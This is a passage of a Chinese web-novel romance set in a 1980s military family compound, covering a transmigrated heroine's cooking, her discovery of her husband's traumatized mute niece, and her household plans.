周柒柒隐隐约约察觉院子里有皮鞋踩地的声音,一扭头又没看到人,回头看向朱莹莹,见她摇了摇头,便也没再多想。 两人在屋里忙活了好一阵儿,时间不知不觉就到了五点多。 再过半个来小时,部队里忙碌了一天的男人们,还有和上学的孩子们,就要陆续回来了。 朱莹莹拎着刚买的那块五花肉,急匆匆回家做饭去了。 周柒柒也随手套上一件满是补丁的旧外套,转身朝灶台走去。 朱莹莹买肉的时候,周柒柒也跟着买了些菜,打算做一顿香喷喷的卤肉饭。 她先是细心拣出些碎煤渣,垫在炉膛底部,接着把报纸撕成长条,“嚓”地一声划着火柴。 点燃报纸后轻轻丢进炉膛,又抓了把干燥的木头屑撒上去,好让火苗蹿得更旺些。 等火苗稳稳蹿起来,她才不慌不忙地拿起蜂窝煤,稳稳地放进炉膛。 没一会儿,煤块就被烧得通红发亮,她用火钳夹起一块新煤,稳稳当当地叠在上头,确保火力能持续旺盛,不会熄灭。 一整套动作,行云流水一般,十分娴熟。 这些生火做饭的事儿,可不是原身的记忆,而是周柒柒自己实打实的经验。 穿越之前,她刚去偏远山区支教不久,那儿电网不稳定,做饭全靠煤炉。 当地七八岁的小女孩,烧煤做饭十分熟练,手把手教会了她。 趁着煤球烧热的工夫,周柒柒顺手拿起洋葱,“哒哒哒”几下,切成碎末。 要知道,这卤肉饭的精髓,可全在这洋葱上。 切成丁的洋葱,下到锅里,用中小火慢慢炸,炸到金黄透亮,捞出备用。 紧接着,把五花肉丁、香菇丁一股脑下锅,翻炒得香气四溢,再加入之前炸好的洋葱酥,一起小火慢炖,炖得软烂入味。 这过程中,原本金黄酥脆的洋葱酥渐渐变软、变透明,最后悄然融化在汤汁里,那香味,直往人鼻子里钻,勾得人馋虫直冒。 炖肉的工夫,周柒柒又煮了三个鸡蛋,轻轻敲碎蛋壳,丢进肉汤里一起卤。 大盆里的白米饭也夹在铁锅上头,热气腾腾地蒸着,不一会儿,饭菜的香味就顺着院子,悠悠飘了出去。 正值饭点,忙活了一整天的人都脚步匆匆,赶着回家。 三团一营营长赵毅和四团团长王铁军在路上碰了个正着。 赵毅,正是邱春芳的爱人,四十多岁的人了,身形瘦得像根细长的竹竿,一阵风就能吹跑似的。 他一闻到那股勾人馋虫的香味,立马像被施了定身咒一样停下脚步,使劲吸着鼻子,那模样像极了一只闻到骨头味儿的小狗。 眼睛滴溜溜一转,看向身旁的王团长,忍不住开口问道。 “好家伙,这啥味儿啊,这么香!我都没闻过这么勾人的肉香,王团长,你家嫂子学会做菜啦?你可有口福了!” 王铁军今年三十五岁,模样生得稳重,看着比实际年龄还老七八九岁。 他自然也闻到了这股香味,却只是轻轻摇了摇头,语气平淡,“不可能,估计是你家今儿个炖肉了吧。” 说完,头也不回,大步朝着自家院子走去,手里网袋拎着的饭盒,随着他的脚步晃来晃去。 王铁军一推开家门,果不其然,一股糊味扑面而来。 再瞧罪魁祸首——他爱人朱莹莹,头发乱蓬蓬的,像个鸟窝,满脸都是锅灰,活脱脱一个小花猫,她咬着嘴唇,眼眶泛红,一副要哭出来的委屈模样。 “没事儿,我带饭回来了,先去洗把脸吧。” 王铁军神色平静,语气也淡淡的,说完顺手关上了门。 可他中气十足,赵毅在外面听得真真切切。 赵毅心里一乐,“得,看来这香味不是王团长家的,那指定是我家的咯!” 周围还有几个住在小院对面的筒子楼的军官,正在楼下抽烟闲聊呢,听他这么说,都不由咽了咽口水。 “好香啊,没想到邱嫂还有这手艺呢!” “真羡慕!” 这婆娘可算让他露了一回脸! 赵毅听着这些议论,顿时感觉脸上有光,昂首挺胸,像个得胜的将军一般,大步推开了自家院门。 第11章 舌尖扫过指尖 赵家院子里,一张略显陈旧的小饭桌已经摆好,上头的饭菜都用饭罩篱扣着。 邱春芳眼睛尖得很,老远就瞧见赵毅那瘦巴巴的身影晃了过来,立马扯着嗓子就朝着外头喊。 “一萌、二萌、三萌,四萌,耀祖,别在外头疯玩了,你们爹回来啦,赶紧麻溜儿地回来吃饭!” 这一嗓子下去,五个在外头玩的小萝卜头跟撒欢的兔子似的,“嗖”地一下冲了进来。 四个女孩,一个男孩,个个跟赵毅一样,跟瘦猴似的。 他们的鼻子像灵敏的小雷达,一耸一耸地使劲嗅着,使劲闻着香味。 “妈,你是不是炖肉啦?咋这么香呢!” 最小的儿子耀祖仰着脏兮兮的小脑袋,眼睛亮晶晶的,满是期待,小嘴巴还不自觉地吧唧了几下,仿佛已经尝到了肉的滋味。 不等邱春芳回答,赵毅迫不及待地搓了搓手,猛地掀开饭罩篱,几个孩子立马围了上去。 可下一秒,众人都傻了眼,饭桌上别说肉了,连个肉沫都不见,只有一大盆色泽寡淡得白菜炖土豆、拍黄瓜,还有热了好几次的馒头。 赵毅像个泄了气的皮球,瞬间蔫了,扯着嗓子喊道。 “咋又是这老三样啊?肉呢?肉在哪呢?” 不是王团长家,也不是自家,那这香味难不成是...... 赵毅的视线不由自主地转向旁边沈家,正好瞧见沈淮川风尘仆仆地从外头回来。 屋里传来一个脆生生、甜滋滋的招呼声。 “回来啦?我的卤肉饭也炖的正好,你先去洗洗手,我这就去盛饭。” 这声音清亮的如同百灵鸟一样,听的赵毅心里痒痒,看着桌上的饭菜,顿时没了食欲。 他皱着眉头,嘟囔着向邱春芳发起了牢骚。 “你不是说,沈团长那新媳妇是个又懒又馋的乡下土妞儿吗?我看人家贤惠的很,第一天过来,就知道给男人炖肉吃,不像你,过来第一天就是白菜炖土豆,今天还是白菜炖土豆...” 邱春芳一听这话,立马不乐意了,“啪”的一声,重重地拍了下桌子,震得桌上的碗筷都跟着晃了晃。 “白菜炖土豆咋了?家里这么多张嘴等着吃饭,你每个月那点津贴就那么点儿,有本事你跟人家沈团长似的,一路高升,多挣点钱回来呀!” “为啥家里这么多张嘴?还不是你一门心思非要生儿子?” 赵毅也来了脾气,红着脸跟邱春芳呛了回去。 “好你个赵毅!老娘辛辛苦苦,一把屎一把尿地为你们赵家传宗接代,延续香火,你倒好,还挑上我的不是了!” 邱春芳气得胸脯剧烈起伏,双手叉腰,活像一只斗架的老母鸡。 这一家子,人多嘴杂,三天两头一小吵,五天一大吵,住在附近的邻居们都听习惯了,只当是家常便饭。 几个军官们见状,又将视线齐刷刷地转向了中间那户沈家,开始你一言我一语地议论纷纷起来。 “是沈团长昨天背回来那个媳妇炖肉了?” 今天一天,军区里都在传活阎王背了个新媳妇回家,大家还都不信呢,现在一瞧,居然是真的! 而此时,沈淮川还呆呆地愣在原地。 在门口的时候,他自然也闻到了那股香得勾人的味道。 可打从十岁起,记忆里的家就如同冰窖一般,永远冷冷清清。 别说饭菜的香气了,就连一丝活人的气息都没有,安静得可怕,仿佛时间都在这里静止了。 父母除了在部队工作,还要四处寻找失踪的大哥,二哥早早参了军,进了保密单位。 他从十岁开始,就习惯一个人独立生活了。 压根儿就没觉得,这诱人的肉香会是从自己家里传出来的。 可没想到... 周柒柒见他还在门口傻站着,不禁脆声招呼了一声:“愣着干什么呢?快进来呀!” 沈淮川喉头不自觉地滚动了一下,咽下心中莫名的情愫,轻声应了句:“来了。” 等他洗完手,快步走进屋里时,饭菜已经整整齐齐地端上桌了。 白花花的大米饭,色泽诱人的卤肉,卤得入味的鸡蛋,还有烫好切碎的小青菜。 那卤肉香气扑鼻,闻着比食堂大师傅做的还香。 沈淮川忍不住开口问道,“这些都是你做的?” “那可不!” 周柒柒满脸自豪,用力点了点头,还顺势指了指屋里屋外,再指了指自己。 “家里这些布置,也都是我弄的,你觉得怎么样?” 沈淮川在侦察方面那可是一把好手,执行任务时,一秒钟内就能敏锐察觉到周遭环境里所有细微的变化。 可刚才,他的视线、他的心思,全被眼前这个身着红裙、为他洗手做羹汤的女人吸引住了。 虽说知道家里有了大变化,可具体哪儿变了,还真没仔细瞧。 这会儿被周柒柒一问,他的目光顺着她手指的方向,最后定定地落在她指向的自己身上。 耳根泛红,轻声回了句:“好看。” “我也觉得这样的家很好看。” 周柒柒忙活了一下午,早就饿得前胸贴后背了,也没留意沈淮川的表情,只是把勺子递给他,说道。 “快趁热吃饭吧,这可是我的拿手菜。” 这卤肉饭就得用勺子大口挖着吃,卤肉、米饭、青菜拌在一起,一口下去,卤汁的咸香、米饭的清甜、卤肉的鲜香,在舌尖上完美交融,那满足感,简直没法形容。 周柒柒风卷残云,一盘饭下肚,就剩下手里一个鸡蛋黄。 她从小就不爱吃蛋黄,可又舍不得浪费。 之前都是拿去喂流浪猫的,这会儿便把顺手把蛋黄递向沈淮川,问道:“你吃不吃?” 沈淮川两只手正捧着碗筷,准备起身去洗碗,压根腾不出手来接。 周柒柒见状,想都没想,下意识地把蛋黄直接塞到他嘴边,让他张嘴。 土鸡蛋的蛋黄个头不大,沈淮川猝不及防地一张嘴,不仅含住了蛋黄,连周柒柒的两根纤细的手指尖也一并囫囵含了进去。 沈淮川浑身猛地一僵,原本想要推开的动作瞬间顿住,舌尖不经意间轻轻扫过周柒柒的指尖。 这个动作虽然说不上惹火,但却暧昧十足。 两人都像被电流击中,身子微微战栗,心也跟着“砰砰”直跳。 然而,就在这股情愫在两人之间悄然流动时,院子里却冷不丁传来一个严厉又带着几分愤怒的声音。 “你们俩在干啥呢?大白天在家里亲亲我我的,是不是忘了还有个孩子在外头没人管呢?” 第12章 无痛当妈了? 屋内两人被这突兀响起的声音惊得浑身一颤,好似同时触碰到了高压电,条件反射般地迅速分开。 “什么孩子?” 周柒柒说话带着颤音,像是撒娇一样。 一边问着,一边下意识地轻轻拢了拢有些凌乱的头发,试图掩盖内心的慌乱。 用的正是刚才那只右手。 沈淮川也张了张嘴,像是想说些什么,可舌尖在口腔里打转,却怎么也发不出声音,喉咙仿佛被舌头哽住了。 这时,外头传来“啪嗒啪嗒”清晰的皮鞋踩地声。 一位中年妇女迈着沉稳的步子,不紧不慢地走了进来。 她穿着一身细格纹的确良衬衫,过膝的A字裙,搭配肉色丝袜,脚下是一双擦的锃亮的黑色皮鞋,齐耳短发,发间还戴着一个黑色发箍。 干练又精神,一看就不是普通人,像是受过教育的教授。 “周主任。” 沈淮川连忙打了个招呼。 周柒柒才反应过来,来人正是军区政委的妻子,军属区妇女委员会的主任周淑华。 她连忙快步上前,脸上堆满了笑容,热情殷切地说道。 “您就是周主任?感谢您送来的煤炉,没它我今天都开不了火,我刚才还和淮川说,改天买点东西,去您家当面感谢呢,没想到您这就过来了...” “你就是周柒柒?” 周淑华打量着眼前这个穿着红裙子,打扮精致的女人,眼里透着一丝审视,语气冷淡。 “别说客套话,先说把孩子的事儿说清楚!” 周柒柒敏锐地察觉到周淑华对自己没来由的不喜,瞬间明白这位主任怕是来者不善,是专门来找茬的。 她收起刚才那副热情殷切的模样,双手环抱在胸前,像是筑起一道无形的防御墙,语气也恢复了平淡。 “什么孩子?谁家的孩子啊?我不太明白您的意思。” “谁家的?你家的!” 周淑华白了周柒柒一眼,那眼神仿佛在说她故意装糊涂,随后从身后拽出一个孩子。 那是个小女孩,瞧着约莫五六岁的样子。 穿着一件黑色的长袖裙子,辫子有些乱,脸蛋也有些脏兮兮的。 但五官十分优秀,大大的眼睛,长长的睫毛,秀气的小鼻子,看着就像是洋娃娃似的。 可令人惋惜的是,她的脖子和右边侧脸,有一小块皮肤布满了坑坑洼洼的伤痕,看着像是被严重烧伤留下的痕迹。 周柒柒瞧着小女孩这模样,心里猛地“咯噔”一下。 不知怎的,这模样,和沈淮川有几分相似。 她瞪大了眼睛,像只炸了毛的小猫,气鼓鼓地看向身旁的沈淮川,质问道。 “这是你女儿???” 顿了顿,又难以置信地重复了一遍。 “你有女儿了???” 沈淮川被她那愤怒又震惊的眼神瞪得心里直发毛,忙不迭地摇了摇头,说道,“不是。” 周柒柒刚松了一口气,可沈淮川接下来的话,却像一把锋利的刀子,直直插进她的心脏。 “但这确实是我们家的孩子。” “怎么回事?” 周柒柒这下彻底懵了,脑袋里一片混乱。 但她也知道,这里不是说话的好地方,毕竟孩子还在跟前呢。 于是,她索性一伸手,像个小霸王似的一把拽住沈淮川的胳膊,将他往卧室拉,同时给周淑华丢下一句话。 “周主任,您既然是来替孩子打抱不平的,那就麻烦您再帮着照看会儿孩子,谁让您这么好心呢!” 这话听起来怎么都透着一股子怪味儿,可仔细琢磨,又挑不出什么毛病来。 周淑华撇了撇嘴,满心无奈,只好将视线转移到孩子身上,轻声说道。 “舟舟,咱们先去院子里玩吧?” 被她叫做舟舟的小女孩,自始至终,大大的眼睛里都平静如水,没有一丝波澜,像一汪幽深的湖水。 听到周淑华这么说,她也不吭声,只是轻轻点了点头。 周淑华从口袋里掏出几个玻璃弹珠,递到小女孩面前。 小女孩伸出小手,乖乖地接了过去,然后迈着小步子,慢悠悠地走到院子里。 她将弹珠放在地上,却没有像普通孩子那样欢快地玩耍,只是静静地蹲在一旁,目不转睛地看着弹珠,仿佛周围的一切都与她无关。 周淑华看着眼前这一幕,却没有表现出惊讶,只是轻轻叹了口气。 而在屋子里,沈淮川也轻轻叹了口气,看着眼前像个陀螺似的转着圈,嘴里喋喋不休、浮想联翩的周柒柒,想打断她,却又不知道从何说起。 “我知道了,那小女孩是你战友的孩子,对吧?” “战友牺牲了,你发扬精神,把孩子带回来养着了?” “孩子现在是不是叫你爸爸?” “也就是说,我现在无痛当妈了?” 她平时没少看军婚小说,很多剧情都是这么写的。 家里有个熊孩子,给女主气够呛,引发一些列的误会,结果孩子是已故战友的。 “然后,孩子肯定不喜欢我,外头那些人还会在中间挑拨离间,制造出一大堆误会......” 这种剧情,周柒柒越想越觉得头疼。 她作为一个单身无孩,还养猫的脆皮社畜,平时最害怕、最讨厌的就是熊孩子了。 眼看着周柒柒越说越没边了,沈淮川赶忙按住她的肩膀,试图让她冷静下来,语气轻柔。 “你别想那么多,你是孩子的婶婶,不是孩子她妈。” 听到这话,周柒柒瞬间安静了下来,过了半天才消化了这句话,一脸疑惑地问道。 “婶婶?那孩子是你哥哥的孩子?” 沈淮川点了点头,开始缓缓地解释起来。 沈家的情况,之前许树都给周柒柒大致解说过了。 老大沈淮山也是当兵的,边境打仗时受伤失踪,十年来杳无音讯,家里这些年一直都在四处寻找他的下落。 老二沈淮岳和媳妇陈娇是保密单位的。 三年前,两人执行任务时,不幸受了重伤,双双变成了植物人,现在躺在医院里,靠着仪器勉强维持生存。 但有一点十分重要的,许树隐瞒下来没说。 而那一点,也是林瑶不愿意嫁到沈家的重要原因之一。 第13章 沈渡舟的身世 沈淮岳和媳妇陈娇,当时在边境执行的是极其危险的缉毒卧底任务。 出事前,他们刚执行了最终行动,成功缴获了几百公斤的鸦片,端掉了毒贩的老巢,立下了大功。 可随后,他们便遭到了剩余毒贩疯狂的报复。 那些毒贩不知道从哪儿打探到了他们的安全屋,带着炸药悍然冲了进去,当场炸死了十几个缉毒公安。 然后,他们把沈淮岳、陈娇绑走了。 和他们一起被带走的,还有他们年幼的女儿沈渡舟。 当时两人好不容易完成了任务,一直替他们秘密带着孩子的领导,特意安排他们见孩子一面,没想到,却阴差阳错,让孩子也陷入了危险之中。 公安和当地武装部队得知消息后,立即组织了救援行动。 等救援人员在深山老林,毒贩隐藏的老巢找到他们的时候。 现场已是一片熊熊大火,夫妻两人身受重伤,被压在一片废墟之下,早已昏迷。 而他们的怀里却还死死护着一个穿着白裙子、浑身是血的小女孩,那便是沈渡舟。 那场大火过后,当时参与这次行动的所有人员都不幸遇难。 沈淮岳夫妻俩成了半死不活的植物人。 还活着的,唯有年仅三岁的沈渡舟。 沈父沈母老两口悲痛万分,将孩子带回了B市,亲自抚养。 今年,沈渡舟到了该上小学的年纪,可老两口身体不好,接连病了几次,实在是照顾不过来,交给别人他们又不放心。 沈淮川便主动提出把孩子接到部队来,由他照顾。 周柒柒本就是个感性的人,平时看个《熊出没》大电影都能感动得稀里哗啦,哭得一塌糊涂。 听完这个悲惨的故事,早已泪流满面,泣不成声,抽噎着说道。 “原来这小女孩,是你二哥二嫂的孩子啊!” 沈淮川眼神闪烁了一下,没有作声,似乎还沉浸在回忆中。 周柒柒将视线投向窗外。 只见大树下,身着黑裙的小女孩依旧安安静静地蹲在地上,像一尊雕塑,不吵不闹,也不动弹,那乖巧的模样,让人心疼不已。 这分明是一个孩子遭受重大打击后的表现。 这副情景,让周柒柒不由自主地想到了自己五岁那年。 父母离婚的那一天,她也是这样,一个人在老家院子里的大树底下发呆。 听着屋子里的父母为了不要她,破口大骂,互相指责,那些伤人的话语,像一把把尖锐的刀子,刺痛着她幼小的心灵。 她心里一阵阵发酸,埋怨地狠狠推了一把沈淮川,扁着嘴巴,带着哭腔指责道。 “你怎么不早告诉我啊??” “我以为你知道。” 沈淮川有些无奈,又有些哑然,昨晚他明明问过周柒柒,是否了解他家里的情况,当时她可是说知道的。 “我当然不知道了啊,你都没说清楚,如果我早知道...” 周柒柒还是觉得这事儿都怪沈淮川,一边抽噎着说着,一边用双拳不停地捶着沈淮川的胸口,发泄心里的不满。 她今天吃饱了饭,这会儿有的是力气。 可她却没想到,不等她把话说完,小拳头就被沈淮川宽大的手掌一把握住。 她整个人猝不及防,往前踉跄了一步,一抬头,便撞上了沈淮川那寒潭般深邃、深不见底的眸子。 “结婚报告已经交上去了,后悔已经来不及了,如果你有什么想法,我们可以再商量。” 说着他又补充了了一句,“舟舟非常乖,又很安静,我会带她,不会给你添多少麻烦。” 之前林瑶不愿意嫁给他的原因之一,就是不想照顾沈渡舟这个“小拖油瓶”。 两人之间的距离近得仿佛能听到彼此的心跳声,沈淮川呼吸急促。 周柒柒的心跳也跟着骤然加快,像一只慌乱的小鹿在乱撞。 她不太明白这是什么感觉,只莫名觉得有些心慌意乱,赶忙挣脱开自己的手,避开沈淮川那灼灼逼人的眼神,有些慌乱地解释道。 “我...什么时候说我后悔了?” 如果这孩子是沈淮川亲生的,她可能还会犹豫、会后悔。 但知道了孩子的身世,又看到她如今这副模样,她满心都是心疼。 “我的意思是说,如果我早知道了,肯定让你早点把孩子接回来了啊!” 听到她这么说,沈淮川眸光闪烁,像是黑暗中亮起的星辰,灼的周柒柒肌肤滚烫。 她赶忙继续转移话题,叉起腰,气鼓鼓的指责道。 “对,说到孩子,这两天她为什么不在家啊?” “难道你真的不管孩子?” “当然不是。” 沈淮川轻轻摇了摇头,去床头的柜子里拿出一个文件袋来,里头装着的,是一张病历单。 “失语症?” 看着上面的诊断说明,周柒柒陷入了沉思,沈淮川继续解释道。 “当年在火场找到孩子,她看到救援人员,说出‘沈渡舟’三个字后,就昏迷了,再次醒来之后,就没有再开口说过一个字。” 沈家老两口带着孩子去各大医院都看过了,检查结果显示,她的身体器官一切正常,没有任何毛病,医生也拿不出什么好的治疗方案。 毕竟患者只是个三岁的孩子,贸然用药,风险还是很大的。 不得已,老两口将希望寄托在了中医身上,选择了给孩子针灸和艾灸理疗。 孩子跟着沈淮川到军属区后,还专门找了个姓张的退休老军医继续帮着治疗。 张军医曾经被沈淮川救过,治疗上十分上心,家又在海子湾小学边上。 沈淮川每次出任务,都会让他们照看孩子,顺便治疗。 “每次治疗都要连续扎五天针,我第六天再去把人接回来。” 舟舟除了失语症,还有严重的失眠,每次艾灸完才能睡得好点,所以治疗时候他晚上也不去接。 他是五天前接任务外出的,今天就是第六天了。 不过这次送过去的时候,张军医有事需要去外地一趟,时间就往后延了一天。 两人说好了,明天再去。 这男人带孩子,可真够糙的! 居然能把孩子丢在别人哪儿那么久都不去接。 而且看他说话的语气,好像也没觉得有什么不对的。 周柒柒在心里疯狂吐槽,不过面上还是点了点头,继续问道。 “那周主任...” “我忙的时候,都是周主任帮着照顾舟舟,到了时间我没去接孩子,一般都是她去帮着接。” 柒柒撇了撇嘴,“那她这人,也不算太坏。” 沈淮川看着她这副叽里咕噜翻着白眼的样子,像个小孩子一样,低笑了一声,按住她的肩膀安抚道。 “她就是刀子嘴,豆腐心,心思有点重,想的多,有点认死理,对人没坏心的,可能是误会了什么,我来跟她说。” 周柒柒点了点头,重复了一遍。 “行吧,那我可说好了,孩子你来带,我不管的。” 她一个母胎SOLO,可不懂怎么带孩子,顶多保证做饭的时候,连带着孩子的那份一起做。 “好。” 沈淮川答应了。 两人出去后,他言简意赅的把事情经过说了一遍。 之前周柒柒并不知道沈渡舟的存在,现在她知道了,也愿意接受。 周淑华对周柒柒的印象可不算好,仍然觉得她有问题,但她是明事理的人。 一码归一码。 听沈淮川这么一说,也知道是自己误会了,表情瞬时就变得有些尴尬,抬头看向周柒柒,干脆利落的道了歉。 “是我误会了,对不起,我为我刚才的态度向你道歉。” 第14章 新家的规划 周柒柒怎么也没想到,这位看着严肃刻板,不好相处的妇女主任,竟会如此干脆利落地向她道歉 心里对她的不喜,减少了那么一扭扭。 虽说她也能明显感觉到,对方依旧不太待见自己,可好歹人家讲道理,不像邱婶子那帮人,胡搅蛮缠、无理取闹。 于是,周柒柒收起了先前那冷淡疏离的态度,客客气气地回应道。 “既然是误会,那我接受您的道歉,周主任。” 这满家属院的军嫂,哪个不是巴结奉承着她,周淑华还是第一次见到有人跟她说话这样的态度。 接受道歉,连句“没关系”都不说。 这让她心里有点别扭,望向院子里的沈渡舟,满眼都是担忧和不信任。 “你当真愿意接纳舟舟这孩子?” 周柒柒眼神坚定,郑重许下承诺。 “淮川是我丈夫,他的家人自然也就是我的家人,我没有不接纳的道理。” 况且之前沈淮川承诺过了,孩子她带,用不着她操心。 说着,她眼珠子滴溜一转,声音下意识压低了些,目光中带着一丝不易察觉的锐利。 “如果您是在担心下午听到的那几句话,大可不必。我当时说想赶出房间的人,指的可不是舟舟,而是沈淮川。” 这话一出口,身为妇女主任的周淑华,脸“唰”地一下就红透了。 周柒柒这是在点她呢,她知道自己下午在沈家院子里偷听的事儿! 一时间,周淑华只觉得尴尬无比。 好在,这时,外头传来一阵吵嚷声。 “妈~你在这儿吗?” 来人是周淑华的大女儿,她都找了周淑华好半天了。 “快跟我回去吧,送床的师傅都过来了!” 周淑华一拍大腿,她怎么把这事儿给忘了! 雷政委弟弟唯一的孩子,也就是她侄子,今年大学毕业,分到他们G市当乘警。 孩子初来乍到,在G市人生地不熟的,她之前就提议,等三个月实习期一过,就让侄子到家里来住。 算算日子,没几天就该到了,她还得赶紧回去把房间布置妥当呢。 周淑华母女俩匆匆跟周柒柒打了声招呼,便火急火燎地离去了。 周柒柒看着还乖乖蹲在院子里的舟舟,用胳臂杵了杵沈淮川。 舟舟这时候回来,肯定还没吃饭呢。 还好卤肉还剩下小半碗,米饭也够多,给一个六岁小女孩吃,绰绰有余了。 沈渡舟这小女孩,还真像沈淮川说的那般,乖巧懂事得让人心疼。 她乖乖地跑去洗手,然后安静地坐在饭桌前吃饭,吃完饭又主动帮忙收拾碗筷。 收拾完,就径直回自己屋子写作业去了。 全程都没给周柒柒添半点麻烦。 安静的像是不存在一样。 不过周柒柒却乐意给舟舟添麻烦,她敲敲门,走到正在纸上写写画画的舟舟面前,说道。 “舟舟,你知道茅房怎么走吗?能不能带婶婶过去一趟?” “你叔叔去澡堂子洗澡去了,婶婶刚来家属区,不认识路。” 沈渡舟那张如洋娃娃般精致的小脸上,依旧没什么表情,只是微微点了点头,放下手中的笔,迈着小步子,走在前面给周柒柒带路。 到了地方,柒柒让舟舟先回去,自己走了进去。 她这一去,就是大半个钟头。 等她们一回到家,就瞧见沈淮川一脸焦急地站在门口,眼睛不停地朝着这边张望,神色紧张得很。 看到她回来,明显松了一口气,不过什么也没说。 周柒柒有些不好意思的解释道,“以前营养太差了,吃点好东西,就容易拉肚子。” 她这会儿都有点虚脱了,沈淮川自然而然地扶住她的胳膊。 “家里有麦乳精,每天喝一杯,可以补充营养。” 周柒柒连忙摆手拒绝,“别别别,我应该是乳糖不耐受,喝那玩意儿更容易窜稀。” “乳糖不耐受?什么意思?” 沈淮川皱了皱眉,一脸疑惑。 周柒柒一拍脑门,她咋忘了,这“乳糖不耐受”算是现代词汇。 在这80年代,人们平日里连口牛奶都难得喝上,这词儿对他们来说,实在太过陌生。 一直到二十世纪,国家大力倡导大家多摄入肉蛋奶,才发现绝大多数中国人存在乳糖酶缺乏的问题,这可是基因层面的事儿。 这会儿跟沈淮川解释,实在有点太超前了,她便简单说道。 “就是吸收不了牛奶里的营养,一喝就拉肚子,只能喝点羊奶,酸奶什么的。” 回到家里,周柒柒只觉得屁股都快不是自己的了,那滋味儿,别提多酸爽。 她把沈淮川拉到床边坐下,一脸痛苦地将屁股挪到被子上,这才感觉稍微舒服了点儿,委屈巴巴地开口道。 “补充营养的事儿咱先缓缓,还有个更棘手的问题呢!” “在那茅房里,我...我根本拉不出来!” 她去支教的时候,也不是没见过旱厕。 但没见过军属区里这样的旱厕。 可军属区里这种旱厕,她还真是头一回见。 两排蹲坑面对面,中间隔得也不远。 她刚一脱裤子,就瞧见对面蹲着邱春芳,正目不转睛地盯着她。 她感觉自己浑身都不自在,使劲儿也不是,不使劲儿也不是; 抬头看尴尬,低头看更尴尬; 呼吸都觉得别扭,不呼吸又憋得慌…… 总之,可把她难受坏了,屁股都快蹲成两瓣了。 这样的经历,她一次都不想再有了,所以一回到家,就直截了当地向沈淮川说出了自己的需求。 “所以我在想,可不可以……当然,如果不行的话……” 她问得小心翼翼,眼睛红彤彤的,一眨一眨的,那副想说又不敢说的模样,像只可怜兮兮的小兔子。 对面的沈淮川脸上始终没什么表情,一副冰块脸,但没等她把话说完,便干脆利落地点了点头道:“可以。” 周柒柒一下子愣住了,回过神后,赶忙追问道。 “这算不算搞特殊啊,会不会对你有影响?” 如果有影响的话,就算了,她虽然很想要厕所和洗澡间,但不能影响他的前途。 “不会,我明天就去申请。” 沈淮川耳尖微微泛红,可回答得斩钉截铁,毫不犹豫。 “太好了!” 周柒柒没想到,事情竟如此顺利,两三下就挪到沈淮川身边,双手交叠握住,兴奋地提议道。 “既然要盖,咱们就把厕所和洗澡间一块儿盖了,咋样?这要求不过分吧?” 沈淮川这次没有立刻回答,而是微微挑眉,目光有意无意地看向她的屁股。 周柒柒的表情瞬间僵住,还以为自己被抓包了,不过沈淮川很快就把眼神移开,表情依旧严肃,点头道,“不过分。” 周柒柒这才放下心来,站起身,继续滔滔不绝地描绘着未来的蓝图。 “既然要盖,就得盖得漂漂亮亮、舒舒服服的,咱们估计得在这个院子生活好久,说不定一辈子呢!” “除了这个,我还想在屋子周围垒一圈花圃,这样厕所就不会有那么大味儿了……” “还有...后院那一片菜地,也得种起来,还可以垒个鸡窝,不过我不会养鸡...” “养只狗狗倒是不错,还能防着有人偷偷溜进院子里偷听……” 她越说越激动,越说越憧憬,说着说着,才发现还没征求沈淮川的意见呢。 一回头,却瞧见沈淮川正一动不动地盯着她,目光炽热得仿佛能将人点燃。 第15章 咱得帮帮人家 “你……” 周柒柒轻咬着下唇,一时之间,脑袋里乱糟糟的,竟不知该说些什么才好。 恰在此时,一阵激昂又清脆的军号声悠悠响起。 她心里一紧,知道这是熄灯号,十分钟之后,整个家属区就要停电了。 她可还没洗漱呢,于是赶忙麻溜地跑到灶房,拎起暖水瓶,兑了满满一盆温水,打算简单擦洗一下。 刚才从厕所出来的时候,她顺路去旁边的澡堂子瞅了一眼。 这一看,可把她惊到了,里头的淋浴间比那茅房还让人难以接受。 一个个花洒头子孤零零地悬在头顶,四周连个隔断都没有。 放眼望去,嫂子们的身影映入眼帘,白花花的一片。 更要命的是,还有不少小男孩光着身子,在澡堂子里撒欢疯跑。 那场面,简直辣眼睛,周柒柒觉得自己都快“长针眼”了。 她实在没法接受这样的场景,便匆匆离开了。 她手脚麻利地快速擦洗完,此时,熄灯都过去好一会儿了,周遭一片静谧。 舟舟已经在小屋里睡下了,周柒柒往屋里一瞧,发现里面已经没了沈淮川的被褥。 她心里“咯噔”一下。 那他今晚岂不是…… 这么一想,她的脸“唰”地一下就红透了。 怀着一丝忐忑走进房间,定睛一看,地上已经整整齐齐打好了地铺。 不知怎的,看到这地铺,她心里竟涌起一丝隐隐的失落,可与此同时,又像是放下了一块大石头,长舒了一口气。 虽说她和沈淮川已经提交了结婚报告,可毕竟两人刚认识没几天,彼此还很陌生。 她虽说不想一直和沈淮川分房睡,可真要同床共枕,发生点什么亲密接触,她还真没做好心理准备。 周柒柒上了床,刚躺下的时候,心里还七上八下的,紧张得不行。 她一直都有失眠的毛病,从前都是一直到晚上三四点才能睡着,还以为今晚又要失眠了。 但听着外头此起彼伏的虫鸣声,再看看沈淮川那宽厚结实、背对着她的背影。 不知怎的,她的心渐渐安定了下来,眼皮也越来越沉,很快就沉沉睡去了。 这一觉,周柒柒睡得格外香甜,早上六点半,生物钟准时把她叫醒,她自然而然地睁开了眼睛。 扭头一看,地上的地铺已经空了,沈淮川不知道去哪儿了。 再瞧舟舟,还在床上呼呼大睡呢,估计晚上又是没睡好。 周柒柒蹑手蹑脚地走进灶房。 先是淘米煮了一小锅白米粥,然后和了点面,准备做香河肉饼。 这香河肉饼,还有个名字叫千层肉饼,做法可有点讲究。 她把一团面饼擀得薄薄的,然后拿起刀,在面饼上下各切两刀,中间却不切断,这么一来,面饼就被分成了六个规整的格子。 左下角留出一格空白,其余地方均匀抹上肉馅,然后就从左下角开始折叠。 皮包肉,肉包皮,层层叠叠,最后折成一个小格子的大小,再用擀面杖轻轻擀薄,一个漂亮的千层肉饼胚子就做好了。 这玩意儿和面,醒面的,比较费工夫。 等周柒柒做好饼胚后,舟舟已经醒了。 她招呼着让孩子先去洗漱上厕所,然后把外头的小桌子搬到院子里,先把白粥端了出去,掀开盖子等着晾凉。 家属院的空气好,一大早鸟语花香的,院子里吃舒服点。 刚把东西摆好,却感觉有一道炽热的目光落在自己身上。 她下意识地一抬头,嘿,可不就是从隔壁院子传来的嘛! 这一大早的,邱春芳也不知道哪根筋搭错了,居然爬到楼顶去晾衣服。 